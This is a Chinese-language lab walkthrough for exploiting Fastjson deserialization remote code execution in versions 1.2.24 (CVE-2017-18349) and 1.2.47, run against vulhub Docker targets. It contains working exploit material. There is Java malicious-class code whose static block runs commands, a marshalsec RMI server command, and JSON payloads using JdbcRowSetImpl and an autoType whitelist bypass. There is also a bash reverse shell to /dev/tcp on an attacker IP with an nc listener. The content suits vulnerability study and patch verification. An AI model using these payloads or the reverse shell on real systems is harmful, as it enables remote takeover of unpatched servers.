- 概述
- Fastjsonv1.2.24远程命令执行(CVE-2017-18349)
- 漏洞环境
- 漏洞复现
- 编写恶意类
- 编译并开启RMI服务
- 反弹shell
- Fastjson V1.2.47远程命令执行
- 漏洞环境
- 漏洞复现
- 反弹shell
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
Fastjsonv1.2.24远程命令执行(CVE-2017-18349) 漏洞环境靶场选择使用vulhub搭建,网址:https://github.com/vulhub/vulhub
下载vulhub,找到fastjson/1.2.24-rce目录,使用docker-compose up -d启动环境。
docker ps -a 查看漏洞环境启动成功
web访问一下
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
编写恶意类在攻击机上编写恶意类代码 TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/EDI"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
// do nothing
}
}
然后javac TouchFile.java编译一下,生成TouchFile.class.
使用python 起一个http服务python -m SimpleHTTPServer 8888
web访问一下该http服务
下载marshalsec 项目 https://github.com/mbechler/marshalsec
java8下,使用 maven 构建mvn clean package -DskipTests 生成相应jar包
启动RMI服务,监听9999端口,并制定远程加载类TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.8.14:8888/#TouchFile" 9999
访问http://192.168.10.171:8090/,并通过bp抓包
修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。
exp:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
"autoCommit":true
}
}
响应:
进入docker容器中查看已在tmp目录下创建EDI文件
既然能创建文件,那么也可以反弹shell
修改恶意类文件TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.8.14/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
// do nothing
}
}
javac编译一把
攻击机开启nc监听
bp重放一次,查看反弹shell成功。
该漏洞利用方法和V1.2.24版本相似,仅攻击载荷不一样而已。
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
漏洞环境同样使用vulhub搭建靶场,找到fastjson/1.2.47-rce目录,并执行docker-compose up -d启动环境。
docker ps -a查看环境启动成功
web访问一下
编写恶意类并开启http服务传输、启动RMI服务、BP抓包,参考上面,在此不再赘述。
攻击机开启nc监听
修改BP抓到的请求包,修改请求方式为POST Content-Type改成application/json,并写入exp,然后发送请求。
EXP:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.8.14:9999/TouchFile",
"autoCommit":true
}
}
查看反弹shell已成功



